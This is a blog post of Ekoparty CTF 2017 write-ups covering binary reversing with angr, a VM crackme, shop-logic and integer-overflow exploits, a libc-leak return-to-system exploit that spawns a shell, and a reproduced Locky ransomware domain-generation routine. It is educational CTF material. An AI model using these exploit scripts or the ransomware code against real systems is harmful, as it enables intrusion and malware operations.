Ekoparty CTF 2017 writeups

I solved some challenges for fun and I am an active team member of @PiggyBird team. I’d like to share my solutions to the following challenges:

All challenges were solved by me. Thank for reading!

I also collect solutions from other teams on IRC:

  • welcome. Thank valis.
  • FirstAPP: http://myfirstapp.ctf.site:10080/index.php/getflag
  • Tetrahedral. Thank hds
  • ekonews: http://ekonews.ctf.site:10080/news.cfm?news[]=2675 . Thank hds.
  • NonStop: http://h20566.www2.hpe.com/hpsc/doc/public/display?sp4ts.oid=4201434&docLocale=en_US&docId=emr_na-c02131267 . Thank hds.
  • https://secure.mydns.webcam:35283/ . Thank hds.
  • Spies: http://supercam.mydns.webcam and http://greenhouse.mydns.webcam . Thank hds.

warmup

Flag: EKO{1s_th1s_ju5t_4_w4rm_up?}

This is an ELF 64bit file. The program reads a string from console and compare it with hardcoded string. The comparison function is located at 0x4009D8. You can use IDA with Hexray to decompile the function and find flag by hand. Because I am too lazy, I use angr to solve. It takes 4s to run on my laptop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
import angr
# load the binary into an angr project
p = angr.Project("./warmup")
state = p.factory.blank_state(addr=0x4009D8)
flag_len = 0x6CCD7C-0x6CCD60
input=state.se.BVS('input', flag_len * 8)
for i in xrange(flag_len):
    state.add_constraints(input.get_byte(i) >= 0x20)
    state.add_constraints(input.get_byte(i) <= 0x7D)

state.memory.store(0x6CCD60, input)
path = p.factory.path(state=state)
ex = p.surveyors.Explorer( start=path, find=(0x400C6C), )
ex.run()
found_state = ex.found[0].state
print found_state.se.any_str(input) # EKO{1s_th1s_ju5t_4_w4rm_up?}

rhapsody

Flag: EKO{1sth1sr34lfl4g0rjus7f4n74s34}

This challenge is very similar to warmup. The author adds an useless function, for example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall sub_400C80(__int64 a1, __int64 a2)
{
  __int64 result; // rax@2

  byte_6CEE20 = sub_4009D3(a1, a2); // VERY VERY useless function
  if ( unk_6CEE41 == aK[0] )
  {
    dword_6CDC70 ^= 5u;
    result = (unsigned int)dword_6CDC70;
  }
  else
  {
    result = 0LL;
  }
  return result;
}

sub_4009D3 makes angr be hard to solve. I patch it with xor rax,rax;ret. Everything becomes clearly. I edit the earlier script to solve this task. It takes 10s to run on my laptop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# patch 0x4009D3 : xor rax,rax;ret = [ 48 31 c0 c3 ]
# we don't need this function.
# we can use hook() from angr but it's very slow.
import angr

p = angr.Project("./rhapsody1.patched")
state = p.factory.blank_state(addr=0x401378)
flag_len = 0x6CEE61-0x6CEE40
input=state.se.BVS('input', flag_len * 8)
for i in xrange(flag_len):
    state.add_constraints(input.get_byte(i) >= 0x20)
    state.add_constraints(input.get_byte(i) <= 0x7D)

state.memory.store(0x6CEE40, input)
path = p.factory.path(state=state)
ex = p.surveyors.Explorer( start=path, find=(0x401694), )
ex.run()
found_state = ex.found[0].state
print found_state.se.any_str(input) # EKO{1sth1sr34lfl4g0rjus7f4n74s34}

EKOVM

Flag: EKO{s1Mpl3-vm}

This challenge is harder: a VM challenge. To understand this CTF challenge style, please read: VM challenges in CTF - BreakIn CTF.

Author implements a virtual CPU with many instructions. I try to understand this VM structure. By reading some functions, I can names them and build a structure of VM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed __int64 sub_12D0()
{
  VM_STATE *v0; // rax@1
  VM_STATE *v1; // rbx@2
  signed __int64 result; // rax@4

  v0 = vm_init((unsigned __int8 *)&bytecode, 232u);
  if ( v0 )
  {
    v1 = v0;
    v0->ins[0xC0] = (__int64)vm_read_flag;
    v0->ins[0xD3] = (__int64)vm_secure_flag;
    vm_run(v0);
    if ( getenv("MAGICVAR") )
      sub_FD0((__int64)v1);
    vm_cleanup(v1);
    result = 0LL;
  }
  else
  {
    puts("Failed to create virtual machine instance.");
    result = 1LL;
  }
  return result;
}

Let’s examine vm_init. This function allocates a memory region to store states of VM. The size of the region is 0x1918. After that, this function initializes some registers, such as: program counter register(pc), flags. It also allocates memory and copies all VM bytecode to VM_STATE. And then, sub_48A0 is called to initialize all VM instructions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
_int64 (__fastcall *__fastcall sub_48A0(VM_STATE *a1))()
{
  unsigned int v1; // eax@1
  VM_STATE *v2; // rax@1
  __int64 (__fastcall *result)(); // rax@3

  v1 = time(0LL);
  srand(v1);
  v2 = (VM_STATE *)((char *)a1 + 272);
  do
  {
    v2->field_0 = (__int64)sub_1450;
    v2 = (VM_STATE *)((char *)v2 + 8);
  }
  while ( (__int64 *)v2 != a1->field_910 );
  a1->ins[0] = (__int64)sub_1350;
  a1->ins[1] = (__int64)sub_27F0;
  a1->ins[2] = (__int64)sub_1540;
  a1->ins[3] = (__int64)sub_3C40;
  a1->ins[4] = (__int64)sub_3D60;
  a1->ins[0x10] = (__int64)sub_17A0;
  a1->ins[0x12] = (__int64)sub_1930;
  a1->ins[0x11] = (__int64)sub_1860;
  a1->ins[0x21] = (__int64)sub_2960;
  a1->ins[0x27] = (__int64)sub_2BD0;
  a1->ins[0x22] = (__int64)sub_2E40;
  a1->ins[0x23] = (__int64)sub_30B0;
  a1->ins[0x24] = (__int64)sub_2570;
  a1->ins[0x20] = (__int64)sub_3320;
  a1->ins[0x28] = (__int64)sub_3590;
  a1->ins[0x25] = (__int64)sub_1A00;
  a1->ins[0x26] = (__int64)sub_1B10;
  a1->ins[0x30] = (__int64)sub_4640;
  a1->ins[0x31] = (__int64)sub_1670;
  a1->ins[0x32] = (__int64)sub_3E70;
  a1->ins[0x33] = (__int64)sub_4120;
  a1->ins[0x34] = (__int64)sub_4230;
  a1->ins[0x40] = (__int64)sub_4340;
  a1->ins[0x41] = (__int64)sub_1C20;
  a1->ins[0x42] = (__int64)sub_4740;
  a1->ins[0x43] = (__int64)sub_1DA0;
  a1->ins[0x44] = (__int64)sub_1E50;
  a1->ins[0x50] = (__int64)sub_1490;
  a1->ins[0x51] = (__int64)sub_3AD0;
  a1->ins[0x60] = (__int64)sub_3800;
  a1->ins[0x61] = (__int64)sub_1F00;
  a1->ins[0x62] = (__int64)sub_20F0;
  a1->ins[0x70] = (__int64)sub_2460;
  a1->ins[0x71] = (__int64)sub_39A0;
  a1->ins[0x72] = (__int64)sub_14C0;
  result = sub_1370;
  a1->ins[0x73] = (__int64)sub_1370;
  return result;
}

Let’s check vm_run (0x10D0). Pseudo-code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall vm_run(VM_STATE *s)
{
  unsigned int v1; // er12@2
  __int16 i; // ax@2
  __int64 opcode; // rbp@7
  void (__fastcall *ins)(VM_STATE *); // rax@9
  __int64 v6; // rcx@12
  const char *v7; // rsi@2

  if ( s )
  {
    s->pc = 0;
    v7 = 0LL;
    v1 = 0;
    for ( i = s->field_1914; i == 1; i = s->field_1914 )
    {
      if ( (unsigned int)s->pc > 0xFFFE )
      {
        s->pc = 0;
      }
      opcode = s->memory[s->pc];                   // fetch opcode
      if ( getenv("MAGICVAR") )
      {
        v7 = "%04x - Parsing OpCode Hex:%02X\n";
        _printf_chk(1LL, "%04x - Parsing OpCode Hex:%02X\n", s->pc, (unsigned int)opcode);
      }
      ins = (void (__fastcall *)(VM_STATE *))s->ins[opcode];
      if ( ins )
        ins(s); // run instruction
      ++v1;
    }
    if ( getenv("MAGICVAR") )
      _printf_chk(1LL, "Executed %u instructions\n", v1, v6);
  }
}

I create a structure called VM_STATE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
VM_STATE        struc ; (sizeof=0x1918, mappedto_1)
00000000 field_0         dq ?
00000008 field_8         dq ?
00000010 field_10        dd ?
00000014 field_14        dw ?
00000016 field_16        dw ?
00000018 field_18        dq ?
00000020 field_20        dq ?
00000028 field_28        dq ?
00000030 field_30        dq ?
00000038 field_38        dq ?
00000040 field_40        dq ?
00000048 field_48        dq ?
00000050 field_50        dq ?
00000058 field_58        dq ?
00000060 field_60        dq ?
00000068 field_68        dq ?
00000070 field_70        dq ?
00000078 field_78        dq ?
00000080 field_80        dq ?
00000088 field_88        dq ?
00000090 field_90        dq ?
00000098 field_98        dq ?
000000A0 field_A0        dq ?
000000A8 field_A8        dd ?  ; secret value
000000AC field_AC        dd ?
000000B0 field_B0        dq ?
000000B8 field_B8        dq ?
000000C0 field_C0        dq ?
000000C8 field_C8        dq ?
000000D0 field_D0        dq ?
000000D8 flag            dq ?                    ; offset
000000E0 field_E0        dq ?
000000E8 has_flag        dd ?
000000EC field_EC        dd ?
000000F0 field_F0        dw ?
000000F2 field_F2        dw ?
000000F4 pc              dd ?
000000F8 memory          dq ?                    ; offset
00000100 field_100       dd ?
00000104 field_104       dd ?
00000108 field_108       dq ?
00000110 ins             dq 256 dup(?)
00000910 field_910       dq 511 dup(?)
00001908 field_1908      dq ?
00001910 field_1910      dd ?
00001914 field_1914      dw ?
00001916 field_1916      dw ?
VM_STATE        ends

There is a magic environment variable called MAGICVAR. The program will print out every instructions when MAGICVAR is set. It is very useful and we don’t need to write a disassembler by ourselves. There are 02 instructions that we need to know: vm_read_flag (OpCode Hex:C0) and vm_secure_flag (OpCode Hex:D3).

vm_read_flag reads a string from console and store it into VM_STATE::flag.

vm_secure_flag reads flag from VM_STATE::flag and multiples each character in flag by VM_STATE::field_A8. This value is calculated during VM bytecode is executed. This value is not unique. I run ekovm and type 123456 as flag twice. With the same flag, the results did not match my expectations. I know the first character of flag is E. I need to know the secret value: VM_STATE::field_A8.

1
2
3
a= ['064325164','070762714','074006534','135340214','127270554','045162244','072374624','125051700','122026060','046574154','042136424','131507430','122633024','136752124','007461350']
secret = int(a[0], 8) / ord('E')
print ''.join(chr(int(x, 8)/secret) for x in a)

It is very annoyed that they give us a picture. I found a nice and simple OCR online service to convert picture to text: https://www.onlineocr.net/

Shopping

Flag: EKO{d0_y0u_even_m4th?}

This challenge is simple. You have 50 coins to buy something. The remain coins are calculated by this formula:

remain = 50 - number_of_items * item_price

you may provide a negative number_of_items to increase your coins.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import hashlib
HOST = 'shopping.ctf.site'
PORT = 21111
conn = remote(HOST,PORT)
print conn.recvuntil("Enter a raw string (max. 32 bytes) that meets the following condition: hex(sha1(input))[0:6] == ")
proof = conn.recvuntil('\n')
proof = proof.strip()
i = 0
while True:
    h = hashlib.sha1()
    h.update(str(i))
    digest = h.hexdigest()
    if digest[0:6] == proof:
        conn.send(str(i)+'\n')
        break
    i += 1

print conn.recvuntil('?')
conn.send('2\n')
print conn.recvuntil('?')
conn.send('-100000000\n')
print conn.recvuntil('?')
conn.send('4\n')
print conn.recvuntil('?')
conn.send('1\n')
conn.interactive()

Shopwn

Flag: EKO{dude_where_is_my_leak?}

This challenge is similar to previous one. They fix something in code and we can not input a negative value. I think about integer overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import hashlib
HOST = 'shopping.ctf.site'
PORT = 22222
conn = remote(HOST,PORT)
print conn.recvuntil("Enter a raw string (max. 32 bytes) that meets the following condition: hex(sha1(input))[0:6] == ")
proof = conn.recvuntil('\n')
proof = proof.strip()
i = 0
while True:
    h = hashlib.sha1()
    h.update(str(i))
    digest = h.hexdigest()
    if digest[0:6] == proof:
        conn.send(str(i)+'\n')
        break
    i += 1

print conn.recvuntil('?')
conn.send('2\n')
print conn.recvuntil('?')
conn.send('419496729\n') # 419496729 * 20 = 8389934580 = 0x1F4143DF4 --> integer overflow --> 0xF4143DF4 = -200000012
print conn.recvuntil('?')
conn.send('4\n')
print conn.recvuntil('?')
conn.send('1\n')
conn.interactive()

Malbolge

Flag: EKO{0nly4nother3soteric1anguage}

An esoteric programming language: Malbolge

Another source of esolang here: https://hub.docker.com/r/hakatashi/esolang-box/

1
2
nc malbolge.ctf.site 40111
Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes)

I found and very simple and nice Malbolge tool on internet: http://zb3.me/malbolge-tools/#generator

I just input the following string and get flag. Nothing to do.

1
D'`_q^8J}l{jWx6SARQP*NLn&%7ZFXDgUAzy>P<{)9[Zp6WVlqpih.ONjiha'H^]\[Z~^W\[ZYRvVOTSLp3INGFjJ,BAe?'=<;_?8=<;4X216543,P0p(-,+*#G'&f|{"y?}|ut:[qvutml2poQPlejc)gfedFb[!_X]V[ZSRvP8TSLpJ2NMLEDhU

LateRecon

Just join IRC channel ##ekoctf on freenode.net and look into topic: EKO{C4tch_M3_If_Y0u_C4n?}

Lucky

The file is Locky ransomware sample. There are many articles and blogs that write about this ransomware. This ransomware is implemented a domain generator algorithm (DGA). 06 domain names are generated by date, month and year.

https://blogs.forcepoint.com/security-labs/locky-ransomware-encrypts-documents-databases-code-bitcoin-wallets-and-more

Luckily, I found locky-dga.c. Thank syzdek.

The author of this challenge provided a modified version of the malware. I found the DGA implementation at 0x406588. They change modConst1 from 0xB11924E1 to 0x37333331 and append .mydns.webcam to new generated string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// for EKOPARTY CTF 2017
char * lockydga(unsigned int seed, struct tm * st)
{
   int32_t    modConst1 = 0x37333331;
   int32_t    modConst2 = 0x27100001;
   int32_t    modConst3 = 0x2709A354;
   int32_t    modYear;
   int32_t    modMonth;
   int32_t    modDay;
   int32_t    modBase = 0;
   int32_t    i = 0i;
   int32_t    genLength = 0;
   uint32_t   x = 0;
   uint32_t   y = 0;
   uint32_t   z = 0;
   uint32_t   modFinal = 0;
   char     * domain;
   char       tldchars[29] = "rupweuinytpmusfrdeitbeuknltf";
  
   // Perform some shifts with the constants
   modYear  = rotr32(modConst1 * (st->tm_year + 1234 + 1900), 5);
   modDay   = rotr32(modConst1 * (modYear + (st->tm_mday >> 1) + modConst2), 5);
   modMonth = rotr32(modConst1 * (modDay + st->tm_mon + modConst3 + 1), 5);
   modBase  = rotl32(seed % 6, 21);
   modFinal = rotr32(modConst1 * (modMonth + modBase + modConst2), 5);
   modFinal += 0x27100001;
  
   // Length without TLD
   genLength = modFinal % 11 + 5;
  
   if (genLength == 0)
      return(NULL);

   // Allocate full length including TLD and null terminator
   if ((domain = (char *)malloc(modFinal % 11 + 8 + 15)) == NULL)
   {
      perror("malloc()");
      return(NULL);
   };
  
   // Generate domain string before TLD
   do
   {
      x = rotl32(modFinal, i);
      y = rotr32(modConst1 * x, 5);
      z = y + modConst2;
      modFinal = z;
      domain[i++] = z % 25 + 97;
   }
   while (i < genLength);
 
   strcpy(&domain[i], ".mydns.webcam");
   return domain;
}

We need to know: What is the infection date? I can not find the correct date and I don’t have the flag. Poor me!

Welcome

check init code, setvbuf was called setting stdin buffer to an arbitrary stack location. if you got deep enough with recursion this buffer will clash with your stack frame.

source: https://gist.github.com/anonymous/99aaebb12468c7cc8b8b08da27d37918

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

r = remote("localhost", 11111)

libc = ELF("/lib32/libc.so.6")

r.sendlineafter("Option: ", "1")
r.sendafter("to encrypt: ", "a" * 0x100)
r.recvuntil("encrypt is: ")
leak = r.recv(0x100)

leak2 = ""
for c in leak:
    leak2 += chr(ord(c) ^ 0xde)

libc_base = u32(leak2[4:8]) - 1781159 + 8192
bin_base = u32(leak2[0x60:0x64]) - 12188
stack = u32(leak2[0x50:0x54])

info("libc: 0x%x" % libc_base)
info("bin: 0x%x" % bin_base)
info("stack: 0x%x" % stack)

for i in xrange(0, 128):
    r.sendlineafter("Option: ", "4")

r.sendlineafter("Option: ", "1")

payload = fit({8: [
# ebx
    bin_base + 12188,
# ebp
    0xcafebabe,
# system
    libc_base + libc.symbols['system'],
# exit
    bin_base + 0x690,
    libc_base + libc.vaddr_to_offset(next(libc.search('/bin/sh')))
]})

r.sendafter("to encrypt: ", payload.ljust(0x100))
r.interactive()

Tetrahedral

Source: https://paste.null-life.com/#/I5i06aW41akST5LNfjzc0YCoj7i4EnsaADKi5/QZAtCui9wcaaFIbqw0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

$hex = hex2bin('00030003000304280B7F81FF0001710100980ABA08BE0ABA08BE0ABA08BE0ABA08BE710500980AC008DE0AC008DE0AC008DE0AC008DE710900980A4908AD0AD308DD0AD608AB0AD708A8710D00987101009C7105009C00A07109009C00A0710D009C00A0711100980A64080A0ABE08940A58083D0A5508D571150098800080070A8C08270ACE08777119009880BC0A61084E00B5711D009880D70A41087A0A4308F00ACA08EA712100987115009C7119009C29FF711D009CA9FB00A229DBA9FF00A17121009C00A071250098000229C9AE00');

for ($i = 0; $i < strlen($hex); $i += 2) {
    $opcode = substr($hex, $i, 2);
    $opcode = unpack('n', $opcode)[1];
    $opcode = sprintf("%06o", $opcode);
    
    $partial = substr($opcode, 0, 3);
    $value = sprintf('%02x', octdec(substr($opcode, 3)));
    
    $found = true;
    $op = '';
    switch ($opcode) {
        case '000265':
            $op = 'CDQ';
            break;
        case '000242':
            $op = 'QMPY';
            break;
        case '000241':
            $op = 'QSUB';
            break;
        case '000240':
            $op = 'QADD';
            break;
        case '000234':
            $op = 'QLD';
            break;
        case '000230':
            $op = 'QST';
            break;
        case '000003':
            $op = 'ONED';
            break;
        case '000002':
            $op = 'ZERD';
            break;
        case '000001':
            $op = 'MOND';
            break;
        default:
            $found = false;
    }
    
    if (!$found) {
        switch ($partial) {
            case '124':
                $op = "POP $value";
                break;
            case '070':
                $op = "LADR L+$value";
                break;
            case '024':
                $op = "PUSH $value";
                break;
            case '005':
                $op = "LDLI $value";
                break;
            case '004':
                $op = "ORRI $value";
                break;
            case '002':
                $op = "ADDS  $value";
                break;
            case '100':
                $op = "LDI  $value";
                break;
        }
    }
    
    if ($op) {
        echo "$op\n";
    } else {
        echo "$opcode\n";
    }
}